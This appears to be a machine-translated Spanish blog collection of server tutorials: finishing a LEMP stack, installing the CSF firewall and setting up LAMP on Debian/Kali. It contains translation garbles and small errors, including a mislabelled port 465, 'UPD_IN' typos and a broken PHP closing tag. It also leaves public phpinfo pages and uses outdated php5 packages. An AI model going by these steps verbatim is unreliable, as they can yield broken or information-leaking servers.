UPDATE: nuevas versiones de Ubuntu crear un directorio llamado ‘html ‘ en vez de ‘ www ‘ por defecto . Si /nginx/www no existe /usr/share , probablemente llamado HTML . Asegúrese de actualizar la configuración adecuada.

 [...]
server {
        listen   80;

        root /usr/share/nginx/www;
        index index.php index.html index.htm;

        server_name example.com;

        location / {
                try_files $uri $uri/ /index.html;
        }

        error_page 404 /404.html;

        error_page 500 502 503 504 /50x.html;
        location = /50x.html {
              root /usr/share/nginx/www;
        }

        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/var/run/php5-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;

        }

}
[...]

Aquí están los detalles de los cambios :

  •     Añadir index.php a la línea de índice.
  •     Cambie el server desde el host local a su nombre de dominio o dirección IP ( reemplazar el example.com en la configuración )
  •     Cambie las líneas correctas en la sección «La ubicación es ~ \ . Php $ {«

Guardar y Salir

Paso tres instalar y configurar PHP
instalación
Usted probablemente lo adivinó ! Usaremos el comando apt- get para instalar PHP -FPM :

sudo apt-get install php5-fpm

configuración
Tenemos que hacer un pequeño cambio en la configuración de php. Abra php.ini :

sudo nano /etc/php5/fpm/php.ini

Busque la línea cgi.fix_pathinfo = 1 y cambiar el 1 a 0.

cgi.fix_pathinfo = 0

Si este número se mantiene como 1, el intérprete php hará todo lo posible para procesar el archivo que se encuentra tan cerca del archivo solicitado posible. Este es un posible riesgo de seguridad. Si este número se establece en 0 , por el contrario , el intérprete sólo procesará el camino – una alternativa exacta de archivo mucho más seguro. Guardar y Salir.

Tenemos que hacer otro pequeño cambio en la configuración php5-fpm. Abre «www.conf»:

sudo nano /etc/php5/fpm/pool.d/www.conf

Busque la línea , listen  = 127.0.0.1:9000 , y cambiar el 127.0.0.1:9000 a /var/run/php5-fpm.sock .

listen = /var/run/php5-fpm.sock

Guardar y Salir.

Reiniciar php -FPM :

sudo service php5-fpm restart

Por ultimo Crear un Php Página de Información
Podemos ver rápidamente todos los detalles de la nueva configuración de php.

Para hacer esto , primero debe crear un nuevo archivo :

sudo nano /usr/share/nginx/www/info.php

Añadir en la siguiente línea:

<?php
phpinfo ();
?>

Entonces Guardar y Salir.

Finalización
Nginx Reiniciar:

sudo service nginx restart

Usted puede ver el nginx y los detalles de configuración de php- FPM visitando http://youripaddress/info.php

Su pila LEMP está instalado y configurado en su servidor privado virtual 🙂

Cómo instalar y configurar el Config Server Firewall (CSF) en Debian o Kali

Estándar

Introduccion

Config Server Firewall o (CSF) es un firewall gratuito y avanzado para la mayoría de las distribuciones de Linux y VPS (Servidor Privado Virtual) basados ​​en Linux . Además de la funcionalidad básica de un servidor de seguridad – filtrado de paquetes – CSF incluye otras características de seguridad, como las detecciones login / intrusión / inundación. CSF incluye la integración de la interfaz de usuario de cPanel, DirectAdmin y Webmin , pero este tutorial sólo cubre el uso de la línea de comandos. CSF es capaz de reconocer muchos ataques, como los escaneos de puertos , inundaciones SYN , y acceder ataques de fuerza bruta sobre muchos servicios. Está configurado para bloquear temporalmente los clientes que se detectan estar atacando el servidor de la nube .

Características
Config del servidor Firewall ofrece una amplia gama de protecciones para su VPS .

Acceda daemon fallo de autenticación :
CSF comprueba los registros de intentos de conexión fallidos en un intervalo de tiempo regular, y es capaz de reconocer intentos más no autorizados puedan obtener acceso a su servidor de la nube . Se puede definir la CSF acción deseada toma y después de cuántos intentos en el archivo de configuración.

Las siguientes aplicaciones son compatibles con esta función :

Imap Courier, Dovecot , uw -imap , Kerio
openSSH
cPanel, WHM , Webmail ( servidores cPanel solamente)
Pure- ftpd , vsftpd , Proftpd
Protegidos con contraseña páginas web ( htpasswd )
Fracasos mod_security ( v1 y v2)
fracasos Suhosin
Exim SMTP AUTH

Además de éstos , que son capaces de definir sus propios archivos de inicio de sesión con expresiones regulares . Esto puede ser útil si usted tiene una aplicación que registra los inicios de sesión fallidos , pero no bloquear el usuario después de un número específico de intentos.

seguimiento de procesos
CSF se puede configurar para realizar un seguimiento de los procesos con el fin de detectar procesos sospechosos o puertos de red abiertos , y enviar un correo electrónico al administrador del sistema si se detecta cualquiera . Esto puede ayudarle a identificar y detener una posible explotar en su VPS .

observación de Directorio
Observando los monitores de la / temp y otras carpetas relevantes para scripts maliciosos , y el Directorio envía un correo electrónico al administrador del sistema cuando se detecta uno .

servicio de Messenger
La activación de esta función permite que el LCR para enviar un mensaje más informativo para el cliente cuando se aplica un bloque. Esta característica tiene pros y contras. Por un lado , lo que le proporciona más información al cliente , y por lo tanto puede causar menos frustración , por ejemplo, en el caso de los inicios de sesión fallidos. Por otro lado , esto proporciona más información , lo que podría hacer más fácil para un atacante para atacar a su VPS .

Protección contra inundaciones Puerto
Esta configuración proporciona protección contra ataques de inundación de puerto , como la denegación de servicio ( DoS). Usted puede especificar la cantidad de conexiones permitidas en cada puerto dentro del periodo de tiempo de su agrado. Al habilitar esta función se recomienda , ya que , posiblemente, puede evitar que un atacante forzar sus servicios hacia abajo. Usted debe prestar atención a lo que limita que se defina, la configuración como demasiado restrictivas bajarán las conexiones de los clientes normales. Por otra parte , una configuración demasiado permisivas pueden permitir a un atacante para tener éxito en un ataque de inundación .

Puerto golpeando
Puerto golpeando permite a los clientes establecer conexiones de un servidor sin puertos abiertos. El servidor permite que los clientes se conectan a los principales puertos sólo después de una secuencia de golpes puerto éxito. Puede resultar útil si usted ofrece servicios que están disponibles con sólo el público limitado .

Lea más sobre el puerto tocando

Protección de límite de conexión
Esta característica se puede utilizar para limitar el número concurrente de las conexiones activas de una dirección IP a cada puerto . Cuando se configura correctamente , esto puede evitar los abusos en el servidor , como los ataques de denegación de servicio .

Puerto / dirección IP de redirección
CSF puede ser configurado para redirigir las conexiones a una red IP / puerto a otro IP / puerto . Nota: Después de la redirección , la dirección de origen del cliente será la dirección IP del servidor. Esto no es un equivalente a la traducción de direcciones de red (NAT).

integración UI
Además de la interfaz de línea de comandos , el LCR también ofrece la integración de la interfaz de usuario de cPanel y Webmin . Si usted no está familiarizado con la línea de comandos de Linux , puede que encuentres útil esta característica.

Listas de direcciones IP bloqueadas
Esta característica permite que el LCR para descargar listas de direcciones IP bloqueadas automáticamente a partir de fuentes definidas por usted.
Instalación ConfigServer Firewall

Paso 1 : Descarga
Config Server Firewall o (CSF) no está actualmente disponible en los repositorios de Debian, kali o Ubuntu , y tiene que ser descargado desde el sitio web de la ConfigServer .

wget http://www.configserver.com/free/csf.tgz

Esto descargará CSF a su directorio de trabajo actual.
Paso 2 : Descomprimiendo
El archivo descargado es un comprimido del paquete tar, y tiene que ser descomprimido y extraído antes de que pueda ser utilizado.

tar -xzf csf.tgz

Paso 3 : Instalación
Si está utilizando otros scripts de configuración de servidor de seguridad , tales como la UFW , debe desactivarlo antes de proceder. Reglas de iptables se eliminan automáticamente .

UFW se puede desactivar ejecutando el siguiente comando solo si es que esta en uso o instalado:

ufw disable

Ahora es el momento de ejecutar el script de instalación de la CSF .

cd csf

sh install.sh

El firewall está instalado , pero usted debe comprobar si los módulos de iptables requeridas están disponibles.

perl /usr/local/csf/bin/csftest.pl

El firewall funciona si se ha informado de errores fatales .

Nota: Tu dirección IP se añadió a la lista blanca , si es posible . Además , el puerto SSH se ha abierto automáticamente , incluso si se utiliza el puerto personalizado. El servidor de seguridad también se configura para tener modo de prueba activada, lo que significa que las reglas de iptables se eliminarán automáticamente los cinco minutos posteriores a partir del LCR . Esto debe ser desactivado una vez que sabe que la configuración funciona , y no se bloqueará .
Configuración básica
CSF se puede configurar editando el archivo de configuración csf.conf en /etc/csf :

nano /etc/csf/csf.conf

Los cambios se pueden aplicar con el comando :

csf -r

Paso 1 : Configuración de los puertos
El menor acceso que hay a su VPS , más segura su servidor . Sin embargo , no todos los puertos se pueden cerrar como los clientes deben ser capaces de utilizar sus servicios.

Los puertos abiertos por defecto son los siguientes :

TCP_IN = » 20,21,22,25,53,80,110,143,443,465,587,993,995 »
TCP_OUT = » 20,21,22,25,53,80,110,113,443 »
UDP_IN = » 20,21,53 »
UDP_OUT = » 20,21,53,113,123 »

Servicios que utilizan los puertos abiertos :

Puerto 20 : transferencia de datos FTP
El puerto 21 : Control de FTP
Puerto 22 : shell seguro ( SSH)
Puerto 25 : protocolo de transferencia de correo simple (SMTP )
Puerto 53: sistema de nombres de dominio ( DNS)
Puerto 80 : protocolo de transferencia de hipertexto ( HTTP)
Puerto 110: Post Office Protocol v3 (POP3 )
Puerto 113: El servicio de autenticación de protocolo / identificación
Puerto 123: protocolo de tiempo de red ( NTP)
Puerto 143 : Internet Message Access Protocol (IMAP )
Puerto 443 : protocolo de transferencia de hipertexto a través de SSL / TLS (HTTPS )
Puerto 465 : URL Directorio Rendesvous para SSM (Cisco )
Puerto 587 : envío de mensajes de correo electrónico (SMTP )
Puerto 993 : Internet Message Access Protocol over SSL ( IMAPS )
Puerto 995 : Protocolo de oficina de correos 3 sobre TLS / SSL ( POP3S )

Es posible que usted no está utilizando todos estos servicios , para que pueda cerrar los puertos que no se utilizan . Yo recomendaría el cierre de todos los puertos (quitando el número de puerto forman la lista), y luego añadir los puertos que necesita .

A continuación se presentan conjuntos de puertos que se deben abrir si está ejecutando el servicio de la lista :

En cualquier servidor :

TCP_IN : 22,53
TCP_OUT : 22,53,80,113,443
UPD_IN : 53
UPD_OUT : 53,113,123

Apache :

TCP_IN : 80,443

Servidor FTP:

TCP_IN : 20,21
TCP_OUT : 20,21
UPD_IN : 20,21
UPD_OUT : 20,21

El servidor de correo :

TCP_IN : 25,110,143,587,993,995
TCP_OUT : 25,110

Servidor MySQL ( si se requiere acceso remoto)

TCP_IN : 3306
TCP_OUT : 3306

Nota: Si utiliza IPv6 para sus servicios , también debe configurar TCP6_IN , TCP6_OUT , ​​UPD6_IN y UPD6_OUT manera similar a cómo se configuran los puertos IPv4 antes.

Puede encontrar una lista completa de los puertos TCP y UDP en Wikipedia . Usted debe abrir los puertos de todos los servicios que utiliza .
Paso 2 : Ajustes adicionales
CSF ofrece un gran número de diferentes opciones en sus archivos de configuración . Algunos de los ajustes más utilizados se explican a continuación .

ICMP_IN
Ajuste ICMP_IN a 1 permite ping al servidor y se niega 0 son tales solicitudes. Si usted es anfitrión de cualquiera de los servicios públicos , se recomienda para permitir peticiones ICMP , ya que pueden ser utilizados para determinar si su servicio está disponible .

ICMP_IN_LIMIT
Establece el número de ICMP ( ping) peticiones permitidas desde una dirección IP dentro de un período de tiempo especificado . Generalmente, no hay necesidad de cambiar el valor por defecto ( 1 / s )

DENY_IP_LIMIT
Establece el número de direcciones IP bloqueadas CSF no pierde de vista . Se recomienda limitar el número de direcciones IP denegadas por tener demasiados bloques pueden ralentizar el rendimiento del servidor.

DENY_TEMP_IP_LIMIT
Igual que el anterior , pero para los bloques de direcciones IP temporales.

PACKET_FILTER
Filtrar los paquetes no válidos , no deseados e ilegales.

Synflood , SUNFLOOD_RATE y SYNFLOOD_BURST
Esto ofrece protección contra ataques de inundación SYN. Esto retrasa la inicialización de cada conexión , por lo que debería permitir que esto sólo si usted sabe que su servidor está siendo atacado .

connlimit
Limita el número de conexiones activas simultáneas en el puerto .

Valor:

22 ; 5 ; 443 ; 20

permitiría a 5 conexiones simultáneas en el puerto 22 y 20 conexiones simultáneas en el puerto 443.

PORTFLOOD
Limita el número de conexiones por intervalo de tiempo que las nuevas conexiones se pueden hacer a puertos específicos . Valor:

22 ; tcp ; 5 ; 250

limitaría bloque de la dirección IP si hay más de 5 conexiones se establecen en el puerto 22 usando el protocolo TCP dentro de 250 segundos. El bloqueo se elimina una vez que han transcurrido 250 segundos después del último paquete enviado por el cliente para este puerto. Puede agregar más puertos separándolos por comas , como se describe a continuación .

port1 ; protocolo1 ; connection_count1 ; tiempo1 , port2 ; Protocolo2 ; connection_count2 ; time2

Más ajustes
CSF ofrece una amplia gama de ajustes que no están cubiertos en este tutorial. Los valores por defecto son generalmente buenos, y se puede utilizar en casi cualquier servidor. Los ajustes predeterminados están configurados para prevenir la mayoría de los ataques de inundación , los escaneos de puertos y los intentos de acceso no autorizado.

Si usted desea , sin embargo , como para ajustar la configuración con más detalle, por favor, lea los comentarios en /etc/csf/csf.conf y editarlos como desee.
Paso 3 : Aplicar los cambios
Cada vez que usted está modificando la configuración en csf.conf , debe guardar los archivos y LCR reiniciar para que los cambios surtan efecto . Una vez que esté listo con la configuración, cierre el archivo presionando Ctrl + X. Cuando se le pregunte si desea guardar los cambios o no , presione S para guardar los cambios.

Después de esto, usted debe aplicar los cambios al reiniciar CSF con el comando :

csf -r

Si todo ha ido como estaba previsto y que todavía son capaces de acceder al servidor , abra el archivo de configuración una vez más :

nano /etc/csf/csf.conf

y cambiar la configuración pruebas en el inicio del archivo de configuración a 0 como se muestra a continuación :

TESTING = » 0 «

Guarde el archivo y aplicar los cambios con comando:

csf -r

Bloqueo y autorización de las direcciones IP
Una de las características más básicas de un firewall es la posibilidad de bloquear ciertas direcciones IP . Usted puede negar ( lista negra ) , permiten ( lista blanca ) o ignorar las direcciones IP mediante la edición del archivo de configuración csf.deny , csf.allow y csf.ignore .

El bloqueo de direcciones IP
Si usted desea bloquear una dirección IP o un rango , csf.deny abierto.

nano /etc/csf/csf.deny

Bloqueado direcciones IP o rangos toda reserva de una línea en el archivo csf.deny . . . Si desea bloquear la dirección IP 1.2.3.4 , así como el rango de IP 2.3 * * , se debe añadir las siguientes líneas al archivo:

1.2.3.4
2.3.0.0/16

Rangos de IP se representan usando la notación CIDR

Direcciones IP que permite
Si desea una dirección IP o un rango para ser excluido de todos los bloques y filtros , puede agregarlos a csf.allow archivo. Por favor, tenga en cuenta que permite añadir direcciones IP están permitidas incluso si están bloqueados de forma explícita en el archivo csf.deny .

Permitir que las direcciones IP funciona de manera similar a bloquearlos . La única diferencia es que se debe editar el archivo / etc / csf / csf.allow lugar de csf.deny .

nano /etc/csf/csf.allow

Haciendo caso omiso de las direcciones IP
CSF también ofrece capacidad para excluir direcciones IP de los filtros de firewall . Direcciones IP en csf.ignore omitirán los filtros de firewall , y sólo pueden ser bloqueados si cotizan en el archivo csf.deny .

nano /etc/csf/csf.ignore

Para los cambios surtan efecto , debe reiniciar CSF después de editar cualquiera de los archivos descritos anteriormente con el comando :

csf -r

Cómo instalar Linux, Apache, MySQL, PHP (LAMP) en Debian o Kali linux

Estándar

LAMP es un conjunto de software de código abierto que se utiliza para obtener los servidores web en marcha y funcionando. El acrónimo de Linux, Apache, MySQL y PHP. Dado que el servidor privado virtual ya se está ejecutando en Kali, la parte linux es atendido. Aquí es cómo instalar el resto. En mi caso ya vino instalado
establecer
Antes de ejecutar a través de los pasos de este tutorial, asegúrese de que todos sus repositorios están al día:

apt-get update

Con eso terminaron, seguir adelante y empezar a instalar el servidor LAMP.

Paso Uno Instalar Apache
Apache es un software gratuito de código abierto que se extiende más de un 50% de los servidores web del mundo.Para instalar, terminal abierto apache y escriba los siguientes comandos:

apt-get install apache2

Eso es todo. Para comprobar si Apache está instalado en su VPS((Servidor Privado Virtual), dirija su navegador a la dirección IP de su servidor (por ejemplo http://12.34.56.789). La página debe mostrar las palabras «IT WORK» .

Cómo encontrar la dirección IP del servidor.
Puede ejecutar el siguiente comando en tu terminal para mostrar la dirección IP de su VPS.

ifconfig eth0 | grep inet | awk ‘{ print $2 }’

 

Paso a Dos Instalar MySQL
MySQL es un sistema de gestión de bases de datos ampliamente desplegado – utilizado para organizar y recuperar datos. Para instalar MySQL, terminal abierto y escriba los siguientes comandos:

apt- get install mysql-server

Durante la instalación , MySQL le pedirá establecer una contraseña de root. Si deja pasar la oportunidad de establecer la contraseña mientras el programa es la instalación , es muy fácil de configurar la contraseña más adelante dentro de la cáscara de MySQL.

Terminar ejecutando en terminal  un script que crea el  MySQL:

 mysql_secure_installation

El mensaje le pedirá la contraseña de root actual usted.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

En caso de que tengan algun error al tipear su contraseña y le salga este error:

ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/run/mysqld/mysqld.sock’ (2)

Generalmente es un error que paso en Kali linux pero se soluciona asi:

creamos un directorio con el comando mkdir en caso de que ya exista proceguir con el siguiente comando:

 

mkdir /var/run/mysqld
touch /var/run/mysqld/mysqld.sock

chown -R mysql /var/run/mysqld
/etc/init.d/mysql restart

 

y ya tendria que funcionar cualquie cosa en los comentarios respondo ok continuemos.
A continuación, el mensaje que le preguntará si desea cambiar la contraseña de root . Seguir adelante y elegir N y pasar a las etapas siguientes. Es más fácil sólo para decir Sí a todas las opciones . Al final , MySQL se volverá a cargar y aplicar los nuevos cambios. acontinuacion todo Y sera algo asi.

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them.  This is intended only for testing, and to make the installation
go a bit smoother.  You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] y                                            
 ... Success!

Normally, root should only be allowed to connect from 'localhost'.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] y
... Success!

By default, MySQL comes with a database named 'test' that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] y
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] y
 ... Success!

Cleaning up...

Una vez que hayas terminado con eso se puede terminar con la instalación de PHP en el servidor virtual.

Paso tres -Install PHP
PHP es un lenguaje de scripting web de código abierto que se utiliza extensamente para construir páginas web dinámicas . Para instalar PHP, terminal abierto y escriba este comando.

apt-get install php5 php-pear php5-suhosin php5-mysql

ACTUALIZACIÓN: Si usted está en Debian 7 o kali , excluir php5- suhosin de esa lista , ya que ha sido eliminado.
Después de responder Yes a la pregunta dos veces, PHP se instalará .

Terminar reiniciando apache :

service apache2  restart

¡Felicitaciones! Ahora dispone de LAMP en su gota !

Paso Cuatro -RESULTADOS : Ver PHP en el servidor
Aunque está instalado LAMP, todavía podemos echar un vistazo y ver los componentes en línea mediante la creación de una página de información php rápida

Para hacer esto , primero debe crear un nuevo archivo :

 nano /var/www/info.php

Añadir en la siguiente línea:

<?php
phpinfo();
? >

Entonces Guardar y Salir.

Terminar visitando su página info php ( asegúrese de reemplazar la dirección IP de ejemplo con su correcta ) : http://12.34.56.789/info.php